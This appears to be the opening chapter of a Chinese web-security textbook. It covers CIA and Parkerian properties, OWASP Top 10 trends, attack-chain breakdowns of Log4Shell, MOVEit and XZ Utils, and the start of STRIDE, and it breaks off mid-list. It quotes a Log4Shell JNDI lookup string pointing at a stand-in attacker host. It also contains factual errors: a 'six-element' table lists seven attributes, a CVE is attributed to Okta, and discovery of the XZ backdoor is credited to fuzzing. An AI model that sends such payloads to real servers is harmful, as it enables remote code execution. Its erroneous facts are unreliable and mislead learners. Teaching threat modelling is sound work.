信息安全全景与威胁建模 / Information Security Landscape and Threat Modeling

第 1 章：信息安全全景与威胁建模 / Information Security Landscape and Threat Modeling

在 2021 年 12 月 9 日的深夜，一个隐藏在 Apache Log4j 看似无害日志字符串里的 `${jndi:ldap://attacker.com/a}` 表达式，让全球数以万计的 Java 应用在 72 小时内陷入紧急状态——这是 Log4Shell（CVE-2021-44228） 的真实开端。仅仅一条日志拼接，就能让远程攻击者以 `java.lang.Runtime.getRuntime().exec()` 的任意命令执行权限接管服务器。同样地，2014 年的 Heartbleed（CVE-2014-0160） 证明了 OpenSSL 中一行错误的 `memcpy()` 长度校验可以让互联网 17% 的 HTTPS 服务无声无息地泄漏私钥与会话；而 2023 年 MOVEit Transfer（CVE-2023-34362） 中的 SQL 注入则让 Clop 勒索组织在 30 天内横扫 2700+ 家受害机构。这些事件不是孤立的 Bug，而是 Web 安全威胁模型的真实投影：攻击面在左、攻击者在右、防御能力居中，真正的差距是「是否能系统性地识别、量化并缓解这些威胁」。本章要回答的核心问题，正是：在复杂的现代 Web 环境中，安全从业者应如何建立系统化的威胁认知框架？

我们将沿着 基础模型 → 行业共识 → 威胁建模方法论 → 攻击者画像 → 实践产出 这条主线展开。先以 CIA 三要素（Confidentiality, Integrity, Availability）与 Parkerian 六要素建立安全属性的「思维坐标系」；再通过 OWASP Top 10 的演进梳理行业对 Web 风险共识的迁移；之后将系统性地拆解 STRIDE 与 PASTA 两种威胁建模方法，并通过电商登录与邮件密码重置两个真实模块演示如何将模型转化为可落地的威胁条目；最后攻击者画像将帮助读者理解「防守端的努力必须与对手的能力相匹配」。学完本章，读者应具备在任何 Web 功能模块上独立产出至少 10 条可落地威胁条目的能力，并为第 2 章的渗透测试方法论埋下伏笔。

---

1.1 安全属性基础：从 CIA 三要素到 Parkerian 六要素

1.1.1 CIA 三要素及其在 Web 环境中的具体含义

`Confidentiality-Integrity-Availability`，这是几乎所有安全教材的起点，也是 ISO 27001、NIST SP 800-53、PCI DSS 等主流标准的根词汇。但在 Web 应用语境下，三要素的「可操作语义」远比教科书定义复杂得多：

• **机密性（Confidentiality）**：在 Web 语境下不仅指 "数据不被未授权方读取"，还包含了 **凭证保护**（密码哈希、API Key、Session Token）、**通信保密**（TLS 1.2/1.3、Pinning、HPKP 已弃用后的现代等价实践）、**侧信道防护**（Timing Attack、Error-based Oracle、Padding Oracle）、**元数据隐藏**（避免在 HTML 注释、JS 变量、HTTP 头里泄漏内部结构）。例如早期 PHP 框架在异常时会暴露完整 SQL 语句（"You have an error in your SQL syntax near 'WHERE id=1''"），这既是机密性问题也是信息泄露（Sensitive Data Exposure，OWASP A02:2021）的教科书案例。

• **完整性（Integrity）**：Web 中的完整性需要同时考虑 **数据完整性**（CRDT、签名链）、**请求完整性**（CSRF Token、SameSite Cookie、签名 URL）、**代码完整性**（SRI, Subresource Integrity, CSP `script-src` 哈希）、**供应链完整性**（npm 包投毒、Maven 仓库恶意组件、CDN 劫持）。Log4Shell 实际上是完整性被破坏的极端形式——一段用户可控的字符串被无差别地传递到日志系统，最终成为代码执行的载体。

• **可用性（Availability）**：Web 应用面对的不只是传统 DoS，更包括 **应用层 DDoS**（Slowloris、HTTP/2 Rapid Reset, CVE-2023-44487）、**资源耗尽**（大文件上传、ReDoS 正则灾难性回溯、GraphQL 嵌套查询）、**业务逻辑滥用**（撞库爆破、羊毛党、短信/邮件炸弹）、**第三方依赖故障**（DNS 劫持、CDN 厂商宕机）。现代 SaaS 服务的可用性直接对应着 SLA 的 99.99% 承诺，意味着每月停机时间不能超过 4.3 分钟。

1.1.2 Parkerian 六要素：超越 CIA 的扩展模型

1998 年 Donn B. Parker 在传统 CIA 基础上提出了 Parkerian Hexad，额外加入了三类在数字时代愈发关键的安全属性：

| 属性 | 中文 | 与 CIA 的差异 | 典型 Web 场景 | |------|------|---------------|----------------| | Confidentiality | 机密性 | — | 用户 PII 加密存储 | | Integrity | 完整性 | — | 数据库写入校验 | | Availability | 可用性 | — | SLA 99.99% 保障 | | Possession | 占有性 | 数据仍存在但失去物理/逻辑控制 | 备份介质失窃、密钥泄漏 | | Authenticity | 真实性 | 数据"是真的"而非伪造 | JWT 伪造、CAS 中间人 | | Utility | 可用性（效用性） | 数据存在但不可解读使用 | 加密但密钥丢失、格式损坏 | | Accuracy | 准确性 | 数据存在但有偏差 | 数据库污染、审计日志被篡改 |

特别值得注意的是 Possession（占有性）——当数据库备份磁带在运输途中丢失时，数据依然存在于磁盘上，但已经失去「被攻击者控制」的事实。这是 CIA 模型无法精确表达的灰色地带，也是 GDPR、HIPAA 在合规层面反复强调的「数据控制者责任」的根因。Authenticity（真实性） 则直接对应着近年来的供应链攻击，例如 2021 年 `ua-parser-js`、`coa` 等 npm 包被投毒，以及 2024 年仍在持续的 `XZ Utils` 后门事件（CVE-2024-3094）——攻击者并未破坏 CIA 完整性，但伪造了「软件来自可信维护者」的真实性。

1.1.3 从属性到控制措施：NIST CSF 的映射

仅仅「识别属性」是不够的，安全工作者必须把每一个属性映射到具体的 控制措施（Controls）。NIST Cybersecurity Framework（CSF 2.0, 2024）将这一映射结构化为「Identify-Protect-Detect-Respond-Recover」五大功能，外加新增的 Govern 治理维度。下表展示了三大基础属性在 CSF 中的对应控制类别：

| CIA 属性 | Identify | Protect | Detect | Respond | Recover | |----------|----------|---------|--------|---------|---------| | Confidentiality | 数据分类、资产清单 | 加密、访问控制、令牌化 | DLP、异常出口流量告警 | 数据泄漏通知、取证 | 密钥轮换、数据重发布 | | Integrity | 关键资产清单 | 输入校验、SRI、Signed Commits | 文件完整性监控（FIM）、WAF 规则命中 | 隔离被攻陷系统、回滚 | 备份恢复、事务补偿 | | Availability | 业务连续性计划 | 限流、冗余、CDN | 流量异常检测 | 故障切换（Failover） | DR 演练、RPO/RTO 达成 |

这种「属性 → 功能 → 控制」的层次化思维，是后续威胁建模的基础。我们将在 1.3 节看到，STRIDE 实际上是把 威胁类别 反向映射到 属性受损 的过程，而 PASTA 则更进一步将属性风险量化为 业务影响。

---

1.2 风险共识的演进：OWASP Top 10 与近三年 Web 重大事件

1.2.1 OWASP Top 10 的演化逻辑与关键变化

OWASP Top 10 自 2003 年首次发布以来，已经成为行业对 Web 应用风险共识的「公共语言」。它并非穷举所有漏洞，而是通过贡献者驱动的数据聚合 + 行业调研，呈现最普遍且最具影响力的风险类别。理解其演化逻辑是理解 Web 风险变迁的最佳途径：

2013 年版（转折点）：首次将「注入」与「会话管理」等高阶风险分门别类，引入了 A1-A10 编号体系。

2017 年版（变革期）：用「类别」取代具体漏洞，例如「Injection」取代「SQL Injection」、「Broken Authentication」取代「Cross-Site Request Forgery」。这是从「漏洞视角」到「类别视角」的关键进化，预示着业界开始关注风险模式而非具体利用。

2021 年版（结构性重组）：最显著的变化包括：

1. A01:2021 - Broken Access Control 跃居第一：从 2017 年的第 5 位升至首位。反映了 API 经济与前后端分离架构下，水平越权、垂直越权、IDOR（Insecure Direct Object Reference）类漏洞的爆发。 2. A02:2021 - Cryptographic Failures：将原「Sensitive Data Exposure」重新命名，强调「加密机制的失败」而非「数据本身的暴露」，倒逼开发者思考"为什么数据能被读取"而非"哪些数据被泄漏"。 3. A03:2021 - Injection：虽然仍是 Top 3，但排名下降，因为 NoSQL、ORM、参数化查询的普及削减了 SQL 注入比例。然而 NoSQL 注入、模板注入（SSTI）、ORM 注入 等新形态反而更加隐蔽。 4. A04:2021 - Insecure Design（全新类别）：这标志着 OWASP 第一次将「设计层面的缺陷」作为独立风险类别。需要从需求阶段引入安全设计、威胁建模、参考架构。Log4Shell、MOVEit 都是「设计阶段缺失威胁建模」的典型反例。 5. A05:2021 - Security Misconfiguration 整合了 XML External Entities（XXE）等历史 Top 项目，强调 SaaS 与云原生时代「配置即代码」的安全责任。 6. 新增 A08:2021 - Software and Data Integrity Failures：直接对应 Parkerian Authenticity 与 供应链安全。SolarWinds（2020）与 CodeCov（2021）的供应链攻击是该类别的现实背景。 7. A10:2021 - Server-Side Request Forgery (SSRF) 首次纳入：云环境元数据服务（`169.254.169.254`）、Kubernetes API 的普及让 SSRF 从次要风险升级为关键风险。Capital One 数据泄漏事件（2019，1 亿用户数据）就是 SSRF 的标志性案例。

2024 年版候选趋势（基于 OWASP 项目反馈与社区投票）：

• **AI/ML 系统风险**：提示词注入（Prompt Injection）、模型反演、训练数据中毒。OWASP 已在 2023 年发布独立的 **OWASP Top 10 for LLM Applications**，其中 LLM01（Prompt Injection）位列首位。当 LLM 与 Web 应用融合（例如 RAG 架构的客服系统），传统 Web 风险向量将被放大。
• **客户端路径穿越（Client-Side Path Traversal, CSPT）**：2024 年 PT SWARM 与 Snyk 联合披露的新型漏洞类别，攻击者通过客户端路径操纵诱导浏览器从内部 API 泄漏数据。
• **OAuth/OIDC 滥用**：现代认证协议自身的复杂逻辑漏洞，例如 2024 年初发现的 **Okta 身份验证层缺陷（CVE-2024-0985）**。
• **合规驱动风险**：欧盟 NIS2、美国 CIRCIA、中国《网络安全法》《数据安全法》的合规要求正反向驱动风险类别的优先级。

理解这些演化的关键洞察是：Top 10 不是漏洞清单，而是行业对「当下最需要解决的失败模式」的共识。追逐每一个新漏洞是反应式的；理解类别的成因与缓解策略才是战略性的。

1.2.2 三个标志性事件的攻击链解构

为了将抽象的风险类别落地到现实，我们解构三个近三年最具影响力的 Web 相关事件的攻击链：

事件一：Log4Shell（CVE-2021-44228, 2021 年 12 月）

| 阶段 | 细节 | |------|------| | 入口向量 | 任何允许用户控制日志内容的字段（User-Agent、Referer、URL、X-Forwarded-For 等） | | 触发条件 | Log4j 2.0 至 2.14.1 版本启用 JNDI Lookup（`log4j2.formatMsgNoLookups=false` 默认） | | 利用链 | `${jndi:ldap://attacker.com/exploit}` → LDAP 服务器返回引用 → `com.sun.jndi.ldap.object.trustURLCodebase=true` → 远程加载 Java 类 → `Runtime.exec()` | | 关键属性受损 | 完整性（任意代码执行）、可用性（挖矿/Ransomware）、真实性（日志来源伪造） | | 防御侧教训 | 1) 默认配置应「安全即基线」（`formatMsgNoLookups=true`）；2) 所有用户输入都应被视为不可信，包括「日志」这类元数据；3) 供应链可视化（SCA, SBOM）在事件爆发前 30 天就应能定位所有受影响资产 |

事件二：MOVEit Transfer（CVE-2023-34362, 2023 年 5 月）

| 阶段 | 细节 | |------|------| | 入口向量 | 任意未授权 HTTP 请求触发 SQL 注入（具体为 Progress Software 实现的 `siLock` 验证逻辑缺陷） | | 利用链 | 注入 payload → 绕过 `siLock` 验证 → 上传 webshell 到合法 `MOVEit` 目录 → RCE | | 业务影响 | Clop 组织横扫 2700+ 受害机构，泄露数据超过 7700 万条个人记录（Clop 自身宣称 1.1 亿条） | | 关键属性受损 | 机密性（数据批量外泄）、完整性（webshell 篡改服务器）、Possession（文件传输服务被完全控制） | | 防御侧教训 | 1) `A04:2021 - Insecure Design`：应用层「临时文件上传 + 验证 Cookie 注入」的设计本身就是脆弱的；2) 零日漏洞的应急响应速度至关重要——CISA 在 6 月 1 日发布的 KEV 列表让许多组织错过了 72 小时补丁窗口；3) 零信任的"假定失陷"假设 让横向移动检测（canary token、EDR）成为最后防线 |

事件三：XZ Utils 后门（CVE-2024-3094, 2024 年 3 月）

| 阶段 | 细节 | |------|------| | 入口向量 | 上游开源项目维护者账号被长期社会工程学接管（历时 2 年的账户切换） | | 利用链 | 提交恶意 `liblzma` 版本 → OpenSSH 服务（通过 `systemd` 间接依赖）上的 `sshd` 进程加载 → 私钥预共享式后门触发条件分支执行 | | 业务影响 | 实际上未广泛被攻击者发现并利用，但若被利用，影响将远超 Log4Shell——SSH 是 Linux 服务的标配远程管理通道 | | 关键属性受损 | 真实性（攻击者冒充合法维护者）、完整性（SSH 认证链路被绕过）、Possession（私钥被植入） | | 防御侧教训 | 1) 供应链信任的根本性问题——许多组织对开源贡献者身份变更毫无警觉；2) 模糊测试在发现该后门中扮演关键角色（Andres Freund 通过 sshd 启动延迟发现可疑）；3) Sigstore、Cosign 等基于透明日志的签名机制需要成为标配 |

三个事件的共同线索是：它们都不是「某一行代码写错」的问题，而是「在设计、供应链、配置层面缺失系统化思考」的结果。这正是威胁建模要解决的核心矛盾。

---

1.3 STRIDE 威胁建模：从微软 SDL 到现代 Web 实践

1.3.1 STRIDE 的起源与本质

STRIDE 威胁建模方法由 Loren Kohnfelder 和 Praerit Garg 在 1999 年的微软 Security Development Lifecycle（SDL）实践中提出，至今已有 25 年的应用历史。它将威胁归类为六类首字母缩略词：

• **S - Spoofing（欺骗）**：冒充他人身份
• **T - Tampering（篡改）**：未授权修改数据或代码
• **R - Repudiation（抵赖）**：否认执行过的操作
• **I - Information Disclosure（信息泄露）**：机密信息暴露
• **D - Denial of Service（拒绝服务）**：系统不可用
• **E - Elevation of Privilege（特权提升